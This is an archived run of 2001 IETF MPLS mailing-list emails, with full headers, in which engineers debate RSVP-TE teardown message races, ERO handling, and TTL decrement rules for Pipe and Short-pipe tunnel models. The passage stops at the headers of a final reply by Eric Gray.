Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA17421
	for <mpls-archive@lists.ietf.org>; Thu, 11 Oct 2001 10:51:36 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkhf25492;
	Thu, 11 Oct 2001 14:48:49 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkhf17304
	for mpls-outgoing; Thu, 11 Oct 2001 14:48:08 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQlkhf17241
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 11 Oct 2001 14:47:50 GMT
Received: from cmr2.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlkhf14869
	for <mpls@uu.net>; Thu, 11 Oct 2001 14:46:32 GMT
Received: from mailgate.pit.comms.marconi.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mailgate.pit.comms.marconi.com [169.144.68.6])
	id QQlkhf22620
	for <mpls@uu.net>; Thu, 11 Oct 2001 14:46:46 GMT
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id KAA10251
	for <mpls@uu.net>; Thu, 11 Oct 2001 10:46:30 -0400 (EDT)
Received: from marconi.com (dcharlap-pc.dc.fore.com [169.144.136.107])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id KAA18172
	for <mpls@uu.net>; Thu, 11 Oct 2001 10:46:31 -0400 (EDT)
Message-ID: <3BC5B0E6.AB709D30@marconi.com>
Date: Thu, 11 Oct 2001 10:47:02 -0400
From: David Charlap <David.Charlap@marconi.com>
X-Mailer: Mozilla 4.77 [en] (WinNT; U)
X-Accept-Language: en-US,en-GB,en
MIME-Version: 1.0
To: mpls@UU.NET
Subject: Re: resvtear msg
References: <OF9F2B4EB7.D09716A7-ON85256AE0.006FD03C@cc.telcordia.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Adrian Farrel wrote:
> 
> However, there is an obvious race where the egress has already sent
> out ResvTear and it crosses with the PathTear

This isn't really a race condition.  The ResvTear will propagate up to
the point at which it crosses the PathTear.  Beyond there, there will be
no corresponding path state and the Resv will be dropped (silently, I
think - I don't think you generate a ResvErr in response to a ResvTear
that doesn't match established state.)

-- David


From owner-mpls@UU.NET  Thu Oct 11 11:12:24 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA17843
	for <mpls-archive@lists.ietf.org>; Thu, 11 Oct 2001 11:12:24 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkhg01420;
	Thu, 11 Oct 2001 15:08:57 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkhg02821
	for mpls-outgoing; Thu, 11 Oct 2001 15:08:24 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlkhg02655
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 11 Oct 2001 15:08:13 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQlkhg10268
	for <mpls@uu.net>; Thu, 11 Oct 2001 15:07:27 GMT
Received: from mailgate.pit.comms.marconi.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mailgate.pit.comms.marconi.com [169.144.68.6])
	id QQlkhg21070
	for <mpls@uu.net>; Thu, 11 Oct 2001 15:07:20 GMT
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id LAA13294
	for <mpls@uu.net>; Thu, 11 Oct 2001 11:07:26 -0400 (EDT)
Received: from marconi.com (dcharlap-pc.dc.fore.com [169.144.136.107])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id LAA24658
	for <mpls@uu.net>; Thu, 11 Oct 2001 11:07:26 -0400 (EDT)
Message-ID: <3BC5B5CD.3EDCDE4C@marconi.com>
Date: Thu, 11 Oct 2001 11:07:57 -0400
From: David Charlap <David.Charlap@marconi.com>
X-Mailer: Mozilla 4.77 [en] (WinNT; U)
X-Accept-Language: en-US,en-GB,en
MIME-Version: 1.0
To: mpls@UU.NET
Subject: Re: RSVP-TE ERO Processing
References: <13D467F625FAD511AE2A00D0B7B917D706BB08@mailserver.netbrahma.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Apratim Mukherjee wrote:
> 
> Why is it that we are concerned only about when we recieve a
> changed ERO ? Even in the other case , where the ERO object has not
> changed, I think processing of the ERO should still be done as the
> second hop might be a loosely routed hop.

If the route to a loose next-hop changes, this should be detected and
handled when the route changes.  The router should not wait for the next
Path refresh to do this work.

This is the same as what happens when there is no ERO and the route to
the egress changes.

The issue of route changes is orthogonal to the issue of ERO changes.

-- David


From owner-mpls@UU.NET  Thu Oct 11 13:58:24 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA21278
	for <mpls-archive@lists.ietf.org>; Thu, 11 Oct 2001 13:58:24 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkhi15217;
	Thu, 11 Oct 2001 15:35:07 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkhi10089
	for mpls-outgoing; Thu, 11 Oct 2001 15:34:27 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlkhi10084
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 11 Oct 2001 15:34:25 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlkhi16108
	for <mpls@UU.NET>; Thu, 11 Oct 2001 15:31:30 GMT
Received: from dnsmx2pya.telcordia.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: dnsmx2pya.telcordia.com [128.96.20.32])
	id QQlkhi02663
	for <mpls@UU.NET>; Thu, 11 Oct 2001 15:31:41 GMT
Received: from notes640.cc.telcordia.com (notes640.cc.telcordia.com [128.96.22.6])
	by dnsmx2pya.telcordia.com (8.9.3/8.9.3) with ESMTP id LAA12030
	for <mpls@UU.NET>; Thu, 11 Oct 2001 11:09:22 -0400 (EDT)
Subject: Re: resvtear msg
To: mpls@UU.NET
X-Mailer: Lotus Notes Release 5.0.5  September 22, 2000
Message-ID: <OF01377A8B.A712365D-ON85256AE2.00530746@cc.telcordia.com>
From: "Hong Liao" <hliao@telcordia.com>
Date: Thu, 11 Oct 2001 11:09:22 -0400
X-MIMETrack: Serialize by Router on notes640/Telcordia(Release 5.0.6a |January 17, 2001) at
 10/11/2001 11:09:23 AM
MIME-Version: 1.0
Content-type: text/plain; charset=us-ascii
Sender: owner-mpls@UU.NET
Precedence: bulk


Adrian Farrel wrote:
>
> However, there is an obvious race where the egress has already sent
> out ResvTear and it crosses with the PathTear

I think Adrian means that there is ResvTear msg sent out(Egress wants to
delete resv state) before the PathTear arrives to the Egress.

Julia



                                                                                                                 
                    David Charlap                                                                                
                    <David.Charlap@ma        To:     mpls@UU.NET                                                 
                    rconi.com>               cc:     (bcc: Hong Liao/Telcordia)                                  
                                             Subject:     Re: resvtear msg                                       
                    10/11/01 10:47 AM                                                                            
                                                                                                                 
                                                                                                                 





Adrian Farrel wrote:
>
> However, there is an obvious race where the egress has already sent
> out ResvTear and it crosses with the PathTear

This isn't really a race condition.  The ResvTear will propagate up to
the point at which it crosses the PathTear.  Beyond there, there will be
no corresponding path state and the Resv will be dropped (silently, I
think - I don't think you generate a ResvErr in response to a ResvTear
that doesn't match established state.)

-- David





From owner-mpls@UU.NET  Thu Oct 11 16:29:14 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA24590
	for <mpls-archive@lists.ietf.org>; Thu, 11 Oct 2001 16:29:14 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkib05489;
	Thu, 11 Oct 2001 20:24:50 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkib08949
	for mpls-outgoing; Thu, 11 Oct 2001 20:24:43 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQlkib08944
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 11 Oct 2001 20:24:31 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlkib20584
	for <mpls@UU.NET>; Thu, 11 Oct 2001 20:19:47 GMT
Received: from yarilo.pluris.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: yarilo.pluris.com [208.227.9.200])
	id QQlkib05429
	for <mpls@UU.NET>; Thu, 11 Oct 2001 20:20:01 GMT
Received: from avalon.pluris.com (avalon.pluris.com [172.16.50.49])
	by yarilo.pluris.com (8.9.2/8.9.1) with ESMTP id NAA12485;
	Thu, 11 Oct 2001 13:19:43 -0700 (PDT)
Received: by avalon.pluris.com with Internet Mail Service (5.5.2653.19)
	id <4WXWTKD8>; Thu, 11 Oct 2001 13:19:43 -0700
Message-ID: <17C81AD1F1FED411991E006008F6D1CAFA9348@avalon.pluris.com>
From: Puneet Agarwal <puneet@pluris.com>
To: "'Shahram Davari'" <Shahram_Davari@pmc-sierra.com>,
        Puneet Agarwal
	 <puneet@pluris.com>
Cc: mpls@UU.NET
Subject: RE: New revision of the MPLS ttl draft
Date: Thu, 11 Oct 2001 13:19:43 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi Shahram,

It is entirely possible that I missed something in your argument so please
bear with me.

I do not understand the need for complicated signalling between the service
provider and the customer. In the option (C) that I outlined, the service
provider's egress LSR always decrements by 1 for ALL customers . It is up to
the customer to determine how he wants to take ATM links (per your example)
into account. In (C), the service providers egress LSR *is* doing
deterministic (customer independant) TTL processing.

It is my expectation that realistic deployments would have the providers
egress LSR decrement TTL by 1 just like IP packet TTL is decremented by 1 at
each hop by all  providers (at least I do not know of any exceptions). Just
like there is no IP TTL decrement signalling between providers and
customers, I expect the same to be true for MPLS TTL. Much like for IP,
where a node can decrement the TTL by more than 1 (rfc1812), we leave the
door open for service providers to configure their egress LSRs to decrement
by more than 1.

In fact, having a configurable TTL decrement value was a requirement that
was raised during the previous (-00) draft discussion and hence was added to
the current (-01) draft.

Hope this helps.

-Puneet

>-----Original Message-----
>From: Shahram Davari [mailto:Shahram_Davari@pmc-sierra.com]
>Sent: Thursday, October 11, 2001 6:16 AM
>To: 'Puneet Agarwal'
>Cc: mpls@UU.NET
>Subject: RE: New revision of the MPLS ttl draft
>
>
>Hi Puneet,
>
>I think the flexibility on the TTL decrementing by the egress 
>LSR is something that is not desirable in the scenario that I 
>mentioned. This kind of flexibility requires complicated 
>signaling between service provider and customer in order to 
>inform the provider of the changes in the customer network, as 
>well as a database in the egress LSR to store each customer's 
>requirements. Also the flexibility may lead to 
>interoperability problem.
>
>Therefore I argue that the egress LSR in the pipe model MUST 
>do a deterministic TTL operation (NOT FLEXIBLE), be it a 
>decrement of "0" or "1" or any "n", but for a standard 
>interoperable operation it should not be configurable. 
>
>If flexibility is required the short pipe model could be used.
>
>Yours,
>-Shahram
>
>> -----Original Message-----
>> From: Puneet Agarwal [mailto:puneet@pluris.com]
>> Sent: Wednesday, October 10, 2001 7:41 PM
>> To: Shahram Davari; 'Eric Gray'
>> Cc: Puneet Agarwal; mpls@UU.NET
>> Subject: RE: New revision of the MPLS ttl draft
>> 
>> 
>> Hi Shahram,
>> 
>> Your solution (B) assumes that D (the service provider egress LSR)
>> decrements the TTL by 3. The draft is extremely flexible and 
>> actually allows
>> identical result by considering an alternate solution (C).
>> 
>> (C) Let D subtract by 1 and G subtract by 3. This will give 
>> you identical
>> behaviour and in this case the subtract by 3 knowledge 
>> resides completely in
>> the customers network and the service provider has no 
>knowledge of the
>> customers TTL decrement policy. 
>> 
>> From the service provider's perspective, a packet that enters 
>> their network
>> with TTL n, then is encapsulated in a Pipe Model tunnel (with 
>> TTL n-1),
>> exits their network with TTL n-2 [spec section 4.3](if the 
>> service providers
>> wants to decrement ttl by 1 for each hop internally) for all 
>> customers. The
>> customers can still choose to implement any ttl decrement 
>> policy that is
>> unknown to the service provider. 
>> 
>> Hope this helps and addresses your concern. Hence I do not 
>> see a need to
>> change the draft.
>> 
>> Thanks.
>> 
>> -Puneet
>> 
>> 
>> >-----Original Message-----
>> >From: Shahram Davari [mailto:Shahram_Davari@pmc-sierra.com]
>> >Sent: Wednesday, October 10, 2001 1:30 PM
>> >To: 'Eric Gray'
>> >Cc: 'Puneet Agarwal'; mpls@UU.NET
>> >Subject: RE: New revision of the MPLS ttl draft
>> >
>> >
>> >Hi Eric,
>> >
>> >Because the TTL of the inner LSP belongs to the customer. And 
>> >the customer has a policy of let's say subtracting a value of 
>> >"n" from TTL. Now if the customer does not have control over 
>> >the TTL subtraction, even in a single node, the TTL may get 
>> >expired earlier or later than he expects. Let me give you 
>an example:
>> >
>> >                       
>> > A-------B-----C-----D-----E------F-----G-----H
>> > --------> LSP1----->
>> > -------------------->LSP2------------------->
>> >     TTL = N
>> >
>> >Assume 
>> >1) LSP2 is the inner LSP
>> >2) A, B, C, H and the ingress port of D are POS.
>> >3) The egress port of D is LC-ATM
>> >4) E, F are ATM LSRs
>> >5) The ingress port of G is LC-ATM
>> >6) The egress port of G is POS.
>> >7) A,B,C,D belong to provider X
>> >8) E,F,G,H belong to provider Y
>> >9) TTL=N for LSP2 between A and D
>> >
>> >In theory the TTL received by H must be N-4. However, since E, 
>> >F and ingress of G are ATM, they can't subtract the TTL. 
>> >
>> >There are two solutions:
>> >
>> >A) Let's D do nothing and the customer Y subtract a value of 4 
>> >at the egress port of G, when the packet is sent to H.
>> >B)Let D subtract a value of 3 before sending it to E, and G 
>> >subtract TTL by 1.
>> >
>> >It seems that for Pipe model, the current draft prefers the 
>> >second solution,while I prefer the first one. The reason is 
>> >that by choosing option B, you need to store the value to be 
>> >subtracted from TTL for each individual customer, while in 
>> >method A, it is up to customer to subtract whatever value he wants.
>> >
>> >My argument is that the Short pipe model should fulfill method 
>> >B, and Pipe model should fulfill method A.
>> >
>> >
>> >Yours,
>> >-Shahram
>> >
>> >> -----Original Message-----
>> >> From: Eric Gray [mailto:eric.gray@sandburst.com]
>> >> Sent: Wednesday, October 10, 2001 3:10 PM
>> >> To: Shahram Davari
>> >> Cc: 'Puneet Agarwal'; mpls@UU.NET
>> >> Subject: Re: New revision of the MPLS ttl draft
>> >> 
>> >> 
>> >> Shahram,
>> >> 
>> >>     Can you help me to understand this question?  Why would 
>> >> the customer
>> >> router dwnstream of the egress LSR want (or need) to know 
>> >how much TTL
>> >> has been decremented by the egress LSR?
>> >> 
>> >> You wrote:
>> >> 
>> >> > Hi Puneet,
>> >> >
>> >> > But your draft says that any value other than 1 can be 
>> >> subtracted from TTL. So how does a customer router that sits 
>> >> downstream of the egress LSR know how much has been 
>> >> subtracted from the TTL?
>> >> >
>> >> > Yours,
>> >> > -Shahram
>> >> >
>> >> > > -----Original Message-----
>> >> > > From: Puneet Agarwal [mailto:puneet@pluris.com]
>> >> > > Sent: Tuesday, October 09, 2001 11:09 PM
>> >> > > To: Shahram Davari; mpls@UU.NET
>> >> > > Subject: RE: New revision of the MPLS ttl draft
>> >> > >
>> >> > >
>> >> > > Hi Shahram,
>> >> > >
>> >> > > Thanks for your comments.
>> >> > >
>> >> > > Regarding not storing the TTL decrementing policy of the
>> >> > > customer in the
>> >> > > provider's egress LSR(s), I do not think that the proposed
>> >> > > ttl processing
>> >> > > needs/requires the customers ttl decrement policy to be known
>> >> > > to the Egress
>> >> > > LSRs. From a customers perspective, they send a packet with
>> >> > > ttl n and they
>> >> > > get back a packet with ttl n-2. If the customer wants, they
>> >> > > can decrement
>> >> > > the ttl by any amount they want without the providers egress
>> >> > > LSR knowing
>> >> > > anything about it. TTL processing is different (and easier to
>> >> > > determine)
>> >> > > than PHB determination as the TTL field has the same
>> >> > > semantics in either the
>> >> > > providers network or the customers network - which is not
>> >> > > true for the bits
>> >> > > used for PHB determination.
>> >> > >
>> >> > > Hence I do not see a reason to change the TTL decrementing
>> >> > > policy for Pipe
>> >> > > model LSPs. (There are other valid reasons for our proposal
>> >> > > but they are not
>> >> > > relevant to the points you've raised).
>> >> > >
>> >> > > Hope this helps.
>> >> > >
>> >> > > Thanks.
>> >> > >
>> >> > > -Puneet
>> >> > >
>> >> > > >-----Original Message-----
>> >> > > >From: Shahram Davari [mailto:Shahram_Davari@pmc-sierra.com]
>> >> > > >Sent: Tuesday, October 09, 2001 1:34 PM
>> >> > > >To: 'Puneet Agarwal'; mpls@UU.NET
>> >> > > >Subject: RE: New revision of the MPLS ttl draft
>> >> > > >
>> >> > > >
>> >> > > >Hi Puneet,
>> >> > > >
>> >> > > >The reason that Pipe model was introduced was that we didn't
>> >> > > >want to store the customer policies in the egress LSR. This
>> >> > > >meant from the Diffserv perspective, that we didn't want to
>> >> > > >store EXP<=>PHB mapping for each individual 
>customer. The Pipe
>> >> > > >model essentially terminates the tunnel on the ingress line
>> >> > > >card of the Router downstream of the Egress LSR, rather than
>> >> > > >on the egress line-card of the egress LSR.
>> >> > > >
>> >> > > >As mentioned in your draft, each domain may have its own
>> >> > > >policy (value to be decremented) for decrementing the TTL.
>> >> > > >Therefore it seems to me that for the same reason, it is
>> >> > > >better not to store TTL decrementing policy and apply it to
>> >> > > >the packet in the egress LSR for the Pipe model.
>> >> > > >
>> >> > > >Therefore I suggest that the Pipe model TTL processing be the
>> >> > > >same as Short-pipe model with PHP.
>> >> > > >
>> >> > > >Yours,
>> >> > > >-Shahram
>> >> > > >
>> >> > > >> -----Original Message-----
>> >> > > >> From: Puneet Agarwal [mailto:puneet@pluris.com]
>> >> > > >> Sent: Monday, October 08, 2001 5:18 PM
>> >> > > >> To: mpls@UU.NET
>> >> > > >> Subject: New revision of the MPLS ttl draft
>> >> > > >>
>> >> > > >>
>> >> > > >> A new revision of the "TTL Processing in MPLS Networks" has
>> >> > > >> been submitted.
>> >> > > >> This updates the -00 version of the draft.
>> >> > > >>
>> >> > > >> Any comments/suggestions would be much appreciated.
>> >> > > >>
>> >> > > >> -Puneet and Bora
>> >> > > >>
>> >> > > >>
>> >> > > >>
>> >> > > >
>> >> > >
>> >> 
>> >> --
>> >> Eric Gray (mailto:eric.gray@sandburst.com)
>> >> http://www.mindspring.com/~ewgray
>> >> 
>> >> 
>> >> 
>> >
>> 
>


From owner-mpls@UU.NET  Thu Oct 11 17:08:13 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA25541
	for <mpls-archive@lists.ietf.org>; Thu, 11 Oct 2001 17:08:13 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkie12616;
	Thu, 11 Oct 2001 21:05:49 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkie22661
	for mpls-outgoing; Thu, 11 Oct 2001 21:05:09 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQlkie22654
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 11 Oct 2001 21:05:04 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlkic15321
	for <mpls@UU.NET>; Thu, 11 Oct 2001 20:33:53 GMT
Received: from hotmail.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: f210.law12.hotmail.com [64.4.19.210])
	id QQlkic11642
	for <mpls@UU.NET>; Thu, 11 Oct 2001 20:34:07 GMT
Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Thu, 11 Oct 2001 13:33:52 -0700
Received: from 206.54.51.125 by lw12fd.law12.hotmail.msn.com with HTTP;
	Thu, 11 Oct 2001 20:33:52 GMT
X-Originating-IP: [206.54.51.125]
From: "Hariom P" <hmp123@hotmail.com>
To: VGopalan@ciena.com, hliao@telcordia.com
Cc: mpls@UU.NET
Subject: RE: resvtear msg
Date: Thu, 11 Oct 2001 13:33:52 -0700
Mime-Version: 1.0
Content-Type: text/plain; format=flowed
Message-ID: <F210CnJ711HZv7FDwfC00003868@hotmail.com>
X-OriginalArrivalTime: 11 Oct 2001 20:33:52.0306 (UTC) FILETIME=[0A366920:01C15294]
Sender: owner-mpls@UU.NET
Precedence: bulk

>
>You're right. Egress should not send out a resvtear in response to a
>pathtear.
>
>But the ingress is required to send a pathtear in response to a resvtear to
>complete a teardown.
>
>- Vinod.

Why can't every hop that processes resvtear do the following,
1. Del matching reserv state and forward resvtear if required to the prevhop
2. And send a pathtear to the nexthop

with regards,
Hmp



_________________________________________________________________
Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp



From owner-mpls@UU.NET  Thu Oct 11 17:15:36 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA25702
	for <mpls-archive@lists.ietf.org>; Thu, 11 Oct 2001 17:15:36 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkie23202;
	Thu, 11 Oct 2001 21:11:24 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkie01930
	for mpls-outgoing; Thu, 11 Oct 2001 21:10:49 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQlkie01925
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 11 Oct 2001 21:10:48 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlkid18401
	for <mpls@uu.net>; Thu, 11 Oct 2001 20:57:02 GMT
Received: from funnel.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlkid16796
	for <mpls@uu.net>; Thu, 11 Oct 2001 20:57:17 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id QAA22135 for <mpls@uu.net>; Thu, 11 Oct 2001 16:57:01 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id QAA29560 for mpls@uu.net; Thu, 11 Oct 2001 16:57:01 -0400 (EDT)
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQlkid11535
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 11 Oct 2001 20:54:49 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlkid20561
	for <mpls@UU.NET>; Thu, 11 Oct 2001 20:51:52 GMT
Received: from mother.pmc-sierra.bc.ca by cmr2.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: mother.pmc-sierra.bc.ca [216.241.224.12])
	id QQlkid21193
	for <mpls@UU.NET>; Thu, 11 Oct 2001 20:52:06 GMT
Received: (qmail 15250 invoked by uid 104); 11 Oct 2001 20:51:51 -0000
Received: from Shahram_Davari@pmc-sierra.com by mother with qmail-scanner-1.00 (uvscan: v4.1.40/v4165. . Clean. Processed in 1.092824 secs); 11 Oct 2001 20:51:51 -0000
Received: from unknown (HELO hymir.pmc-sierra.bc.ca) (134.87.114.120)
  by mother.pmc-sierra.bc.ca with SMTP; 11 Oct 2001 20:51:50 -0000
Received: from bby1exi01.pmc-sierra.bc.ca (bby1exi01.pmc-sierra.bc.ca [216.241.231.251])
	by hymir.pmc-sierra.bc.ca (jason/8.11.6) with ESMTP id f9BKpnl05915;
	Thu, 11 Oct 2001 13:51:49 -0700 (PDT)
Received: by bby1exi01.pmc-sierra.bc.ca with Internet Mail Service (5.5.2653.19)
	id <SV4KJ8X6>; Thu, 11 Oct 2001 13:54:17 -0700
Message-ID: <4B6D09F3B826D411A67300D0B706EFDE5CCA93@nt-exch-yow.pmc-sierra.bc.ca>
From: Shahram Davari <Shahram_Davari@pmc-sierra.com>
To: "'Puneet Agarwal'" <puneet@pluris.com>
Cc: mpls@UU.NET
Subject: RE: New revision of the MPLS ttl draft
Date: Thu, 11 Oct 2001 13:54:15 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

Puneet,

>Much 
> like for IP,
> where a node can decrement the TTL by more than 1 (rfc1812), 
> we leave the
> door open for service providers to configure their egress 
> LSRs to decrement
> by more than 1.

When a provider decides to decrement more than 1, it means that the provider is willing to store customers' TTL policy (decrement value). In that case he might store the Diffserv policy (PHB<=>EXP) as well and therefore use the short pipe.

>In (C), the service providers egress LSR *is* doing
> deterministic (customer independent) TTL processing. 

Anything which is configurable can't be deterministic unless either signaled or written in the SLA. The signaling is not desirable, and writing it in SLA, means that it can't be changed quickly, which defeats the purpose of subtracting more than one.

Yours,
-Shahram 



From owner-mpls@UU.NET  Thu Oct 11 17:21:10 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA25816
	for <mpls-archive@lists.ietf.org>; Thu, 11 Oct 2001 17:21:10 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkif06314;
	Thu, 11 Oct 2001 21:18:40 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkif03030
	for mpls-outgoing; Thu, 11 Oct 2001 21:18:05 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQlkif03025
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 11 Oct 2001 21:18:03 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlkif18403
	for <mpls@UU.NET>; Thu, 11 Oct 2001 21:17:49 GMT
Received: from sandmail.sandburst.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sandmail.sandburst.com [216.57.132.42])
	id QQlkif05240
	for <mpls@UU.NET>; Thu, 11 Oct 2001 21:18:03 GMT
Message-ID: <3BC60C76.CFF4627F@sandburst.com>
Date: Thu, 11 Oct 2001 17:17:42 -0400
From: Eric Gray <eric.gray@sandburst.com>
MIME-Version: 1.0
To: "'Shahram Davari'" <Shahram_Davari@pmc-sierra.com>
Cc: Puneet Agarwal <puneet@pluris.com>, mpls@UU.NET
Subject: Re: New revision of the MPLS ttl draft
References: <17C81AD1F1FED411991E006008F6D1CAFA9348@avalon.pluris.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
